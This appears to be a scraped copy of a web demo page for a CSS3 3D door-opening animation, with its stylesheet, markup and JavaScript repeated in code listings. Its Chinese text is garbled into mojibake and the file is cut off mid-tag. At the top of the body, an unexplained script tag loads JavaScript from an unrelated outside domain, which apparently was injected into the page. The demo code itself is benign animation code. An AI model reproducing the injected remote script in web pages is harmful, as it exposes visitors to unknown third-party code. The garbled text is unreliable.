CSS3 3d鍙樻崲瀹炵幇鐨勫紑闂ㄦ晥鏋?鍗曢棬禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css?v=m" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> <style> .door-box { max-width: 100%; width: 375px; height: 628px; margin: 40px auto; background-color: #2a273c; font-family: STHeiTi, SimHei; overflow: hidden; position: relative; z-index: 1; } .door-box.active { animation: flyIntoRoom 1s both; } .door-box div { position: absolute; } .wall { left: 0; top: 0; right: 0; bottom: 46px; border-bottom: 3px solid #211820; background-color: #768bb6; max-height: calc(1.8 * (375px - 80px)); margin: auto; box-shadow: 0 -200px #768bb6; } .door-border { top: 28px; left: 40px; right: 40px; bottom: 0; border: 3px solid #211820; border-radius: 2px 2px 0 0; border-bottom: 0; background-color: #183269; } .door-frame { top: 10px; left: 9px; right: 9px; bottom: 0; border: 3px solid #211820; border-radius: 2px 2px 0 0; border-bottom: 0; background-color: #fbfad0; -webkit-perspective: 1200px; perspective: 1200px; } .door { left: 0; top: 0; right: 0; bottom: 0; -webkit-transform-style: preserve-3d; transform-style: preserve-3d; transform-origin: left; transform: rotateY(0deg); -webkit-backface-visibility: hidden; backface-visibility: hidden; } .door-face-1, .door-face-0 { left: -3px; top: -3px; right: -3px; bottom: -3px; border: 3px solid #211820; background-color: #295489; } .door-face-0 { transform: translateZ(-12px); } .door-face-1 { transform: translateZ(0); } .door-face-2 { height: 6px; left: -3px; right: -3px; top: 0; border: 3px solid #211820; border-radius: 2px; background-color: #0c2e59; transform: translate3D(0, -7.5px, -6px) rotateX(90deg); } .door-face-3 { width: 6px; top: -3px; right: 0; bottom: -3px; border: 3px solid #211820; border-radius: 2px; background-color: #0c2e59; transform: translate3D(7.5px, 0, -6px) rotateY(90deg); } /*鍏夌嚎*/ .light { left: 0; top: 0; bottom: 0; background: #F7E08F; width: 1000px; transform: translateZ(-13px); } /*闂ㄧ墝*/ .door-card { width: 165px; height: 60px; line-height: 60px; background-color: #c1d0ec; top: 60px; left: 0; right: 0; margin: auto; text-align: center; font-size: 30px; border: 3px solid; border-radius: 2px; } .door-btn { left: 0; right: 0; text-align: center; margin-top: 140px; font-size: 24px; color: #9dbce3; line-height: 36px; } .door-in { width: 104px; height: 40px; border-radius: 40px; border: 2px solid; line-height: 40px; background-color: #eacc86; font-family: inherit; font-size: 24px; padding: 0; margin: 10px 0; outline: 0; cursor: pointer; } /* 鍔ㄧ敾 */ @keyframes flyIntoRoom { from { transform: scale(1) translateZ(0); opacity: 1; } to { transform: scale(2) translateZ(100px); opacity: 0; } } .room-img { position: absolute; width: 375px; max-width: 100%; left: 0; right: 0; top: 40px; margin: auto; } </style> </head> <body class="M"> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>CSS3 3d鍙樻崲瀹炵幇鐨勫紑闂ㄦ晥鏋?鍗曢棬瀹炰緥椤甸潰</h1> <a href="//olsonnd.com/wordpress/?p=7737" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="effect" class="part"> <h3>鏁堟灉锛?/h3> <div class="show" style="position:relative;"> <div id="doorBox" class="door-box"> <div class="wall"> <div class="door-border"> <div class="door-frame">  <div id="door" class="door">  <div id="light" class="light" style="opacity: .8;" hidden=""></div>  <div class="door-face-0"></div>  <div class="door-face-2"></div> <div class="door-face-1">  <div class="door-card">鎴戠殑涔︽埧</div>  <div class="door-btn"> <button id="doorBtnIn" class="door-in">杩涘叆</button> </div> </div> <div class="door-face-3"></div> </div> </div> </div> </div> </div>  <img src="./room-s.jpg" class="room-img" width="375" height="500"> <div hidden><audio id="audioOpen" src="./open.mp3" preload></audio></div> <p align="center"><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  <ins class="adsbygoogle" style="display:inline-block;width:728px;height:90px" data-ad-client="ca-pub-0090627341039040" data-ad-slot="4686885989"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script></p> </div> </div> <div id="code" class="part"> <h3>浠ｇ爜锛?/h3> <div class="show"> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css"> .door-box { max-width: 100%; width: 375px; height: 628px; margin: 40px auto; background-color: #2a273c; font-family: STHeiTi, SimHei; overflow: hidden; position: relative; z-index: 1; } .door-box.active { animation: flyIntoRoom 1s both; } .door-box div { position: absolute; } .wall { left: 0; top: 0; right: 0; bottom: 46px; border-bottom: 3px solid #211820; background-color: #768bb6; max-height: calc(1.8 * (375px - 80px)); margin: auto; box-shadow: 0 -200px #768bb6; } .door-border { top: 28px; left: 40px; right: 40px; bottom: 0; border: 3px solid #211820; border-radius: 2px 2px 0 0; border-bottom: 0; background-color: #183269; } .door-frame { top: 10px; left: 9px; right: 9px; bottom: 0; border: 3px solid #211820; border-radius: 2px 2px 0 0; border-bottom: 0; background-color: #fbfad0; -webkit-perspective: 1200px; perspective: 1200px; } .door { left: 0; top: 0; right: 0; bottom: 0; -webkit-transform-style: preserve-3d; transform-style: preserve-3d; transform-origin: left; transform: rotateY(0deg); -webkit-backface-visibility: hidden; backface-visibility: hidden; } .door-face-1, .door-face-0 { left: -3px; top: -3px; right: -3px; bottom: -3px; border: 3px solid #211820; background-color: #295489; } .door-face-0 { transform: translateZ(-12px); } .door-face-1 { transform: translateZ(0); } .door-face-2 { height: 6px; left: -3px; right: -3px; top: 0; border: 3px solid #211820; border-radius: 2px; background-color: #0c2e59; transform: translate3D(0, -7.5px, -6px) rotateX(90deg); } .door-face-3 { width: 6px; top: -3px; right: 0; bottom: -3px; border: 3px solid #211820; border-radius: 2px; background-color: #0c2e59; transform: translate3D(7.5px, 0, -6px) rotateY(90deg); } /*鍏夌嚎*/ .light { left: 0; top: 0; bottom: 0; background: #F7E08F; width: 1000px; transform: translateZ(-13px); } /*闂ㄧ墝*/ .door-card { width: 165px; height: 60px; line-height: 60px; background-color: #c1d0ec; top: 60px; left: 0; right: 0; margin: auto; text-align: center; font-size: 30px; border: 3px solid; border-radius: 2px; } .door-btn { left: 0; right: 0; text-align: center; margin-top: 140px; font-size: 24px; color: #9dbce3; line-height: 36px; } .door-in { width: 104px; height: 40px; border-radius: 40px; border: 2px solid; line-height: 40px; background-color: #eacc86; font-family: inherit; font-size: 24px; padding: 0; margin: 10px 0; } /* 鍔ㄧ敾 */ @keyframes flyIntoRoom { from { transform: scale(1) translateZ(0); opacity: 1; } to { transform: scale(2) translateZ(100px); opacity: 0; } } .room-img { position: absolute; width: 375px; max-width: 100%; left: 0; right: 0; top: 40px; margin: auto; } </pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"> <div id="doorBox" class="door-box"> <div class="wall"> <div class="door-border"> <div class="door-frame">  <div id="door" class="door">  <div id="light" class="light" style="opacity: .8;" hidden=""></div>  <div class="door-face-0"></div>  <div class="door-face-2"></div> <div class="door-face-1">  <div class="door-card">鎴戠殑涔︽埧</div>  <div class="door-btn"> <button id="doorBtnIn" class="door-in">杩涘叆</button> </div> </div> <div class="door-face-3"></div> </div> </div> </div> </div> </div>  <img src="./room-s.jpg" class="room-img" width="375" height="500"> <div hidden><audio id="audioOpen" src="./open.mp3" preload></audio></div> </pre> <h5>JS浠ｇ爜锛?/h5> <pre name="code" class="js"> // 闂紝鍏夌嚎杩欑被杩愬姩鍏冪礌 var eleDoor = document.getElementById('door'); var eleLight = document.getElementById('light'); var eleDoorBox = document.getElementById('doorBox'); // 寮€闂ㄩ煶鏁坢p3 var eleAudioOpen = document.getElementById('audioOpen'); // 寮€闂ㄥ姩鐢? var percentDoor = 0; var fnOpenDoor = function () { percentDoor++; // 闂ㄥ畬鍏ㄦ墦寮€鍚庯紝杩涘叆涓嬩竴涓敾闈? if (percentDoor == 100) { eleDoorBox.classList.add('active'); return; } // 闂ㄦ墦寮€ eleDoor.style.transform = 'rotateY('+ (-90 * percentDoor / 100) +'deg)'; eleLight.removeAttribute('hidden'); // 鍏夌嚎鍙樺寲 eleLight.style.opacity = 0.8 - 0.9 * percentDoor / 100; setTimeout(fnOpenDoor, 16); }; document.querySelector('#doorBtnIn').addEventListener('click', function () { eleAudioOpen.play(); fnOpenDoor(); }); </pre> </div> </div> </div> </div> <script> // 闂紝鍏夌嚎杩欑被杩愬姩鍏冪礌 var eleDoor = document.getElementById('door'); var eleLight = document.getElementById('light'); var eleDoorBox = document.getElementById('doorBox'); // 寮€闂ㄩ煶鏁坢p3 var eleAudioOpen = document.getElementById('audioOpen'); // 寮€闂ㄥ姩鐢? var percentDoor = 0; var fnOpenDoor = function () { percentDoor++; // 闂ㄥ畬鍏ㄦ墦寮€鍚庯紝杩涘叆涓嬩竴涓敾闈? if (percentDoor == 100) { eleDoorBox.classList.add('active'); return; } // 闂ㄦ墦寮€ eleDoor.style.transform = 'rotateY('+ (-90 * percentDoor / 100) +'deg)'; eleLight.removeAttribute('hidden'); // 鍏夌嚎鍙樺寲 eleLight.style.opacity = 0.8 - 0.9 * percentDoor / 100; setTimeout(fnOpenDoor, 16); }; document.querySelector('#doorBtnIn').addEventListener('click', function () { eleAudioOpen.play(); fnOpenDoor(); }); </script>  <script src="../js/hl_all.js"></script> <script> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> </body> </html> <script type="text/javascript" src="/sys